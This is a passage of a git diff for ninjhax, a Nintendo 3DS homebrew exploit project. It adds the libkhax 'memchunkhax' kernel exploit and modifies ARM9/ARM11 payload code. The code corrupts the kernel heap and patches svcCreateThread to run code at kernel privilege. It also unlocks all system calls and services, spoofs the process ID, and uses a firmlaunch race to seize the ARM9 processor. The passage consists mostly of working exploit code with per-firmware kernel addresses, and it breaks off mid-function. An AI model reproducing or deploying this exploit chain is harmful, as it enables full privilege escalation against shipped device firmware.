(=ARM9 entrypoint) */ s32 map_arm9_payload (void) { void *src; volatile void *dst; @@ -320,7 +253,7 @@ s32 map_arm9_payload (void) { dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); if (!g_ext_arm9_loaded) { - return 0; + return 0; } else { // external ARM9 payload @@ -328,11 +261,11 @@ s32 map_arm9_payload (void) { size = g_ext_arm9_size; } - if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) { - memcpy(dst, src, size); + if (size <= ARM9_PAYLOAD_MAX_SIZE) { + memcpy((void *)dst, src, size); result = 1; } - + return result; } @@ -348,22 +281,22 @@ s32 map_arm11_payload (void) { dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED); size = (u8 *)&arm11_end - (u8 *)&arm11_start; - // TODO: sanitize 'size' + // TODO: sanitize 'size' if (size) { - memcpy(dst, src, size); + memcpy((void *)dst, src, size); result_a = 1; } offs = size; src = &g_arm11shared; size = sizeof(g_arm11shared); - + dst = (u8 *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED + offs); // TODO sanitize 'size' if (result_a && size) { - memcpy(dst, src, size); + memcpy((void *)dst, src, size); result_b = 1; } @@ -374,7 +307,7 @@ void exploit_arm9_race_condition (void) { s32 (* const _KernelSetState)(u32, u32, u32, u32) = (void *)g_expdata.va_kernelsetstate; - + asm volatile ("clrex"); /* copy ARM11 payload and console specific data */ @@ -384,64 +317,38 @@ void exploit_arm9_race_condition (void) { /* patch ARM11 kernel to force it to execute our code (hook1 and hook2) as soon as a - "firmlaunch" is triggered */ - redirect_codeflow(g_expdata.va_exc_handler_base_X + - OFFS_EXC_HANDLER_UNUSED, - g_expdata.va_patch_hook1); - - redirect_codeflow(PA_EXC_HANDLER_BASE + - OFFS_EXC_HANDLER_UNUSED + 4, - g_expdata.va_patch_hook2); + "firmlaunch" is triggered */ + redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X + + OFFS_EXC_HANDLER_UNUSED), + (u32 *)g_expdata.va_patch_hook1); + + redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE + + OFFS_EXC_HANDLER_UNUSED + 4), + (u32 *)g_expdata.va_patch_hook2); CleanEntireDataCache(); + dsb(); InvalidateEntireInstructionCache(); // trigger ARM9 code execution through "firmlaunch" - _KernelSetState(0, 0, 2, 0); + _KernelSetState(0, 0, 2, 0); // prev call shouldn't ever return } return; } -/* - restores corrupted code of CreateThread() syscall */ -void repair_svcCreateThread (void) { - asm volatile ("clrex"); - - CleanEntireDataCache(); - InvalidateEntireInstructionCache(); - - // repair CreateThread() - *(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5; - - CleanEntireDataCache(); - InvalidateEntireInstructionCache(); - - return; -} - /* restore svcCreateThread code (not really required, but just to be on the safe side) */ -s32 __attribute__((naked)) -priv_firm_reboot (void) { - asm volatile ("add sp, sp, #8\t\n"); - - repair_svcCreateThread(); +s32 priv_firm_reboot (void) { + __asm__ volatile ("cpsid aif"); // Save the framebuffers for arm9, u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00); - save[0] = topFramebufferInfo.framebuf0_vaddr; - save[1] = topFramebufferInfo.framebuf1_vaddr; - save[2] = bottomFramebufferInfo.framebuf0_vaddr; + memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData)); - // Working around a GCC bug to translate the va address to pa... - save[0] += 0xC000000; // (pa FCRAM address - va FCRAM address) - save[1] += 0xC000000; - save[2] += 0xC000000; + exploit_arm9_race_condition(); - exploit_arm9_race_condition(); - - asm volatile ("movs r0, #0\t\n" - "ldr pc, [sp], #4\t\n"); + return 0; } /* perform firmlaunch. load ARM9 payload before calling this @@ -449,13 +356,22 @@ priv_firm_reboot (void) { the handheld */ s32 firm_reboot (void) { s32 fail_stage = 0; - + + // Make sure gfx is initialized + gfxInitDefault(); + + // Save the framebuffers for arm11. + frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000; + frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000; + frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000; + gfxSwapBuffers(); + fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ if (setup_exploit_data()) { fail_stage++; /* failure while trying to corrupt svcCreateThread() */ - if (corrupt_svcCreateThread()) { + if (khaxInit() == 0) { fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ - svcCorruptedCreateThread(priv_firm_reboot); + svcBackdoor(priv_firm_reboot); } } diff --git a/ninjhax/source/hid.c b/ninjhax/source/hid.c index d8cb9e1..d9669a9 100644 --- a/ninjhax/source/hid.c +++ b/ninjhax/source/hid.c @@ -1,7 +1,8 @@ #include <3ds.h> +#include /* loop until key is pressed */ -u32 wait_key (void) { +void wait_key (void) { hidScanInput(); u32 old_kDown, kDown; old_kDown = hidKeysDown(); @@ -17,7 +18,6 @@ u32 wait_key (void) { gfxFlushBuffers(); gfxSwapBuffers(); } - return kDown; } /* convenience function */ diff --git a/ninjhax/source/libkhax/LICENSE b/ninjhax/source/libkhax/LICENSE new file mode 100644 index 0000000..1456b22 --- /dev/null +++ b/ninjhax/source/libkhax/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 Myriachan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/ninjhax/source/libkhax/demo/Makefile b/ninjhax/source/libkhax/demo/Makefile new file mode 100644 index 0000000..79baef4 --- /dev/null +++ b/ninjhax/source/libkhax/demo/Makefile @@ -0,0 +1,177 @@ +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +TOPDIR ?= $(CURDIR) +include $(DEVKITARM)/3ds_rules + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +# +# NO_SMDH: if set to anything, no SMDH file is generated. +# APP_TITLE is the name of the app stored in the SMDH file (Optional) +# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) +# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) +# ICON is the filename of the icon (.png), relative to the project folder. +# If not set, it attempts to use one of the following (in this order): +# - .png +# - icon.png +# - /default_icon.png +#--------------------------------------------------------------------------------- +TARGET := $(notdir $(CURDIR)) +BUILD := build +SOURCES := . ../ +DATA := data +INCLUDES := include +APP_TITLE := khax +APP_DESCRIPTION := ARM11 KernelHax +APP_AUTHOR := Myria +ICON := logo.png +NO_SMDH := 1 + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard + +CFLAGS := -g -Wall -O3 -mword-relocations \ + -fomit-frame-pointer -ffast-math \ + $(ARCH) + +CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG + +CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 + +ASFLAGS := -g $(ARCH) +LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) + +LIBS := -lctru -lm + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CTRULIB) + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#--------------------------------------------------------------------------------- + export LD := $(CC) +#--------------------------------------------------------------------------------- +else +#--------------------------------------------------------------------------------- + export LD := $(CXX) +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- + +export OFILES := $(addsuffix .o,$(BINFILES)) \ + $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +ifeq ($(strip $(ICON)),) + icons := $(wildcard *.png) + ifneq (,$(findstring $(TARGET).png,$(icons))) + export APP_ICON := $(TOPDIR)/$(TARGET).png + else + ifneq (,$(findstring icon.png,$(icons))) + export APP_ICON := $(TOPDIR)/icon.png + endif + endif +else + export APP_ICON := $(TOPDIR)/$(ICON) +endif + +.PHONY: $(BUILD) clean all + +#--------------------------------------------------------------------------------- +all: $(BUILD) + +$(BUILD): + @echo $(SFILES) + @[ -d $@ ] || mkdir -p $@ + @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +ifeq ($(strip $(NO_SMDH)),) +.PHONY: all +all : $(OUTPUT).3dsx $(OUTPUT).smdh +endif +cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label +$(OUTPUT).3dsx : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) + +#--------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#--------------------------------------------------------------------------------- +%.bin.o : %.bin +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @$(bin2o) + +# WARNING: This is not the right way to do this! TODO: Do it right! +#--------------------------------------------------------------------------------- +%.vsh.o : %.vsh +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin + @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h + @rm ../$(notdir $<).shbin + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------------- diff --git a/ninjhax/source/libkhax/demo/ctrklib.sln b/ninjhax/source/libkhax/demo/ctrklib.sln new file mode 100644 index 0000000..0bc429a --- /dev/null +++ b/ninjhax/source/libkhax/demo/ctrklib.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32 + {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32 + {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32 + {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj b/ninjhax/source/libkhax/demo/ctrklib.vcxproj new file mode 100644 index 0000000..ea4e090 --- /dev/null +++ b/ninjhax/source/libkhax/demo/ctrklib.vcxproj @@ -0,0 +1,82 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {80EE495D-0A84-4089-A93E-2B9E2BC38F94} + ctrklib + + + + Application + true + v120 + MultiByte + + + Application + false + v120 + true + MultiByte + + + + + + + + + + + + + + + Level3 + Disabled + true + C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) + + + true + + + + + Level3 + MaxSpeed + true + true + true + C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) + + + true + true + true + + + + + + + + + + + + + + + + + diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters b/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters new file mode 100644 index 0000000..7a4411e --- /dev/null +++ b/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + + + + Header Files + + + Header Files + + + diff --git a/ninjhax/source/libkhax/demo/main.c b/ninjhax/source/libkhax/demo/main.c new file mode 100644 index 0000000..46c787a --- /dev/null +++ b/ninjhax/source/libkhax/demo/main.c @@ -0,0 +1,139 @@ +#ifndef LIBKHAX_AS_LIB + +#include <3ds.h> +#include <3ds/services/am.h> +#include +#include +#include +#include +#include "../khax.h" + +#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) + +s32 g_backdoorResult = -1; + +s32 dump_chunk_wrapper() +{ + __asm__ volatile("cpsid aif"); + g_backdoorResult = 0x6666abcd; + return 0; +} + +// Test access to "am" service, which we shouldn't have access to, unless khax succeeds. +Result test_am_access_inner(char *productCode) +{ + // Title IDs of "mset" in the six regions + static const u64 s_msetTitleIDs[] = + { + 0x0004001000020000, 0x0004001000021000, 0x0004001000022000, + 0x0004001000026000, 0x0004001000027000, 0x0004001000028000 + }; + Result result; + char productCodeTemp[16 + 1]; + unsigned x; + + // Initialize "am" + result = amInit(); + if (result != 0) + { + return result; + } + + // Check for the existence of the title IDs. + for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x) + { + result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp); + if (result == 0) + { + memcpy(productCode, productCodeTemp, sizeof(productCodeTemp)); + amExit(); + return 0; + } + } + + amExit(); + return -1; +} + +// Self-contained test. +void test_am_access_outer(int testNumber) +{ + char productCode[16 + 1]; + Result result = test_am_access_inner(productCode); + if (result != 0) + { + productCode[0] = '\0'; + } + printf("amtest%d:%08lx %s\n", testNumber, result, productCode); +} + + +int main() +{ + // Initialize services +/* srvInit(); // mandatory + aptInit(); // mandatory + hidInit(NULL); // input (buttons, screen)*/ + gfxInitDefault(); // graphics +/* fsInit(); + sdmcInit(); + hbInit(); + qtmInit();*/ + + consoleInit(GFX_BOTTOM, NULL); + + consoleClear(); + + test_am_access_outer(1); // test before libkhax + + Result result = khaxInit(); + printf("khaxInit returned %08lx\n", result); + + printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult)); + + test_am_access_outer(2); // test after libkhax + + printf("khax demo main finished\n"); + printf("Press X to exit\n"); + + khaxExit(); + + while (aptMainLoop()) + { + // Wait next screen refresh + gspWaitForVBlank(); + + // Read which buttons are currently pressed + hidScanInput(); + u32 kDown = hidKeysDown(); + (void) kDown; + u32 kHeld = hidKeysHeld(); + (void) kHeld; + + // If START is pressed, break loop and quit + if (kDown & KEY_X){ + break; + } + + //consoleClear(); + + // Flush and swap framebuffers + gfxFlushBuffers(); + gfxSwapBuffers(); + } + + // Exit services +/* qtmExit(); + hbExit(); + sdmcExit(); + fsExit();*/ + gfxExit(); +/* hidExit(); + aptExit(); + srvExit();*/ + + // Return to hbmenu + return 0; +} + +#endif // LIBKHAX_AS_LIB diff --git a/ninjhax/source/libkhax/khax.h b/ninjhax/source/libkhax/khax.h new file mode 100644 index 0000000..4e8e1a0 --- /dev/null +++ b/ninjhax/source/libkhax/khax.h @@ -0,0 +1,16 @@ +#pragma once + +#include <3ds.h> + +#ifdef __cplusplus +extern "C" { +#endif + +// Initialize and do the initial pwning of the ARM11 kernel. +Result khaxInit(); +// Shut down libkhax +Result khaxExit(); + +#ifdef __cplusplus +} +#endif diff --git a/ninjhax/source/libkhax/khaxinit.cpp b/ninjhax/source/libkhax/khaxinit.cpp new file mode 100644 index 0000000..801c69f --- /dev/null +++ b/ninjhax/source/libkhax/khaxinit.cpp @@ -0,0 +1,1140 @@ +#include <3ds.h> +#include +#include +#include +#include +#include +#include +#include + +#include "khax.h" +#include "khaxinternal.h" + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // Kernel and hardware version information. + struct VersionData + { + // New 3DS? + bool m_new3DS; + // Kernel version number + u32 m_kernelVersion; + // Nominal version number lower bound (for informational purposes only) + u32 m_nominalVersion; + // Patch location in svcCreateThread + u32 m_threadPatchAddress; + // Original version of code at m_threadPatchAddress + static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; + // System call unlock patch location + u32 m_syscallPatchAddress; + // Kernel virtual address mapping of FCRAM + u32 m_fcramVirtualAddress; + // Physical mapping of FCRAM on this machine + static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; + // Physical size of FCRAM on this machine + u32 m_fcramSize; + // Address of KThread address in kernel (KThread **) + static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); + // Address of KProcess address in kernel (KProcess **) + static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); + // Pseudo-handle of the current KProcess. + static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; + // Returned pointers within a KProcess object. This abstracts out which particular + // version of the KProcess object is in use. + struct KProcessPointers + { + KSVCACL *m_svcAccessControl; + u32 *m_kernelFlags; + u32 *m_processID; + }; + // Creates a KProcessPointers for this kernel version and pointer to the object. + KProcessPointers(*m_makeKProcessPointers)(void *kprocess); + + // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual + // address using the version-specific information in this table entry. + void *ConvertLinearUserVAToKernelVA(void *address) const; + + // Retrieve a VersionData for this kernel, or null if not recognized. + static const VersionData *GetForCurrentSystem(); + + private: + // Implementation behind m_makeKProcessPointers. + template + static KProcessPointers MakeKProcessPointers(void *kprocess); + + // Table of these. + static const VersionData s_versionTable[]; + }; + + //------------------------------------------------------------------------------------------------ + // ARM11 kernel hack class. + class MemChunkHax + { + public: + // Construct using the version information for the current system. + MemChunkHax(const VersionData *versionData) + : m_versionData(versionData), + m_nextStep(1), + m_corrupted(0), + m_overwriteMemory(nullptr), + m_overwriteAllocated(0), + m_extraLinear(nullptr) + { + s_instance = this; + } + + // Free memory and such. + ~MemChunkHax(); + + // Umm, don't copy this class. + MemChunkHax(const MemChunkHax &) = delete; + MemChunkHax &operator =(const MemChunkHax &) = delete; + + // Basic initialization. + Result Step1_Initialize(); + // Allocate linear memory for the memchunkhax operation. + Result Step2_AllocateMemory(); + // Free the second and fourth pages of the five. + Result Step3_SurroundFree(); + // Verify that the freed heap blocks' data matches our expected layout. + Result Step4_VerifyExpectedLayout(); + // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. + Result Step5_CorruptCreateThread(); + // Execute svcCreateThread to execute code at SVC privilege. + Result Step6_ExecuteSVCCode(); + // Grant access to all services. + Result Step7_GrantServiceAccess(); + + private: + // SVC-mode entry point thunk (true entry point). + static Result Step6a_SVCEntryPointThunk(); + // SVC-mode entry point. + Result Step6b_SVCEntryPoint(); + // Undo the code patch that Step5_CorruptCreateThread did. + Result Step6c_UndoCreateThreadPatch(); + // Fix the heap corruption caused as a side effect of step 5. + Result Step6d_FixHeapCorruption(); + // Grant our process access to all system calls, including svcBackdoor. + Result Step6e_GrantSVCAccess(); + // Patch the process ID to 0. Runs as svcBackdoor. + static Result Step7a_PatchPID(); + // Restore the original PID. Runs as svcBackdoor. + static Result Step7b_UnpatchPID(); + + // Helper for dumping memory to SD card. + template + bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; + + // Result returned by hacked svcCreateThread upon success. + static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; + + // Version information. + const VersionData *const m_versionData; + // Next step number. + int m_nextStep; + // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. + int m_corrupted; + + // Free block structure in the kernel, the one used in the memchunkhax exploit. + struct HeapFreeBlock + { + int m_count; + HeapFreeBlock *m_next; + HeapFreeBlock *m_prev; + int m_unknown1; + int m_unknown2; + }; + + // The layout of a memory page. + union Page + { + unsigned char m_bytes[4096]; + HeapFreeBlock m_freeBlock; + }; + + // The linear memory allocated for the memchunkhax overwrite. + struct OverwriteMemory + { + union + { + unsigned char m_bytes[6 * 4096]; + Page m_pages[6]; + }; + }; + OverwriteMemory *m_overwriteMemory; + unsigned m_overwriteAllocated; + + // Additional linear memory buffer for temporary purposes. + union ExtraLinearMemory + { + ALIGN(64) unsigned char m_bytes[64]; + // When interpreting as a HeapFreeBlock. + HeapFreeBlock m_freeBlock; + }; + // Must be a multiple of 16 for use with gspwn. + static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); + ExtraLinearMemory *m_extraLinear; + + // Copy of the old ACL + KSVCACL m_oldACL; + + // Original process ID. + u32 m_originalPID; + + // Buffers for dumped data when debugging. + #ifdef KHAX_DEBUG_DUMP_DATA + unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; + unsigned char m_savedKThread[sizeof(KThread)]; + unsigned char m_savedThreadSVC[0x100]; + #endif + + // Pointer to our instance. + static MemChunkHax *volatile s_instance; + }; + + //------------------------------------------------------------------------------------------------ + // Make an error code + inline Result MakeError(Result level, Result summary, Result module, Result error); + enum : Result { KHAX_MODULE = 254 }; + // Check whether this system is a New 3DS. + Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); + // gspwn, meant for reading from or writing to freed buffers. + Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); + + static Result userFlushDataCache(const void *p, std::size_t n); + static Result userInvalidateDataCache(const void *p, std::size_t n); + static void userFlushPrefetch(); + static void userDsb(); + static void userDmb(); + static void kernelCleanDataCacheLineWithMva(const void *p); + static void kernelInvalidateInstructionCacheLineWithMva(const void *p); + + // Given a pointer to a structure that is a member of another structure, + // return a pointer to the outer structure. Inspired by Windows macro. + template + Outer *ContainingRecord(Inner *member, Inner Outer::*field); +} + + +//------------------------------------------------------------------------------------------------ +// +// Class VersionData +// + +//------------------------------------------------------------------------------------------------ +// Creates a KProcessPointers for this kernel version and pointer to the object. +template +KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) +{ + KProcessType *kproc = static_cast(kprocess); + + KProcessPointers result; + result.m_svcAccessControl = &kproc->m_svcAccessControl; + result.m_processID = &kproc->m_processID; + result.m_kernelFlags = &kproc->m_kernelFlags; + return result; +} + +//------------------------------------------------------------------------------------------------ +// System version table +const KHAX::VersionData KHAX::VersionData::s_versionTable[] = +{ +#define KPROC_FUNC(ver) MakeKProcessPointers + + // Old 3DS, old address layout + { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + // Old 3DS, new address layout + { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + // New 3DS + { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested + { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, + +#undef KPROC_FUNC +}; + +//------------------------------------------------------------------------------------------------ +// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual +// address using the version-specific information in this table entry. +void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const +{ + static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), + "you're sure that this is a 3DS?"); + + // Convert the address to a physical address, since that's how we know the mapping. + u32 physical = osConvertVirtToPhys(address); + if (physical == 0) + { + return nullptr; + } + + // Verify that the address is within FCRAM. + if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) + { + return nullptr; + } + + // Now we can convert. + return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); +} + +//------------------------------------------------------------------------------------------------ +// Retrieve a VersionData for this kernel, or null if not recognized. +const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() +{ + // Get kernel version for comparison. + u32 kernelVersion = osGetKernelVersion(); + + // Determine whether this is a New 3DS. + bool isNew3DS; + if (IsNew3DS(&isNew3DS, kernelVersion) != 0) + { + return nullptr; + } + + // Search our list for a match. + for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) + { + // New 3DS flag must match. + if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) + { + continue; + } + // Kernel version must match. + if (entry->m_kernelVersion != kernelVersion) + { + continue; + } + + return entry; + } + + return nullptr; +} + + +//------------------------------------------------------------------------------------------------ +// +// Class MemChunkHax +// + +//------------------------------------------------------------------------------------------------ +KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; + +//------------------------------------------------------------------------------------------------ +// Basic initialization. +Result KHAX::MemChunkHax::Step1_Initialize() +{ + if (m_nextStep != 1) + { + KHAX_printf("MemChunkHax: 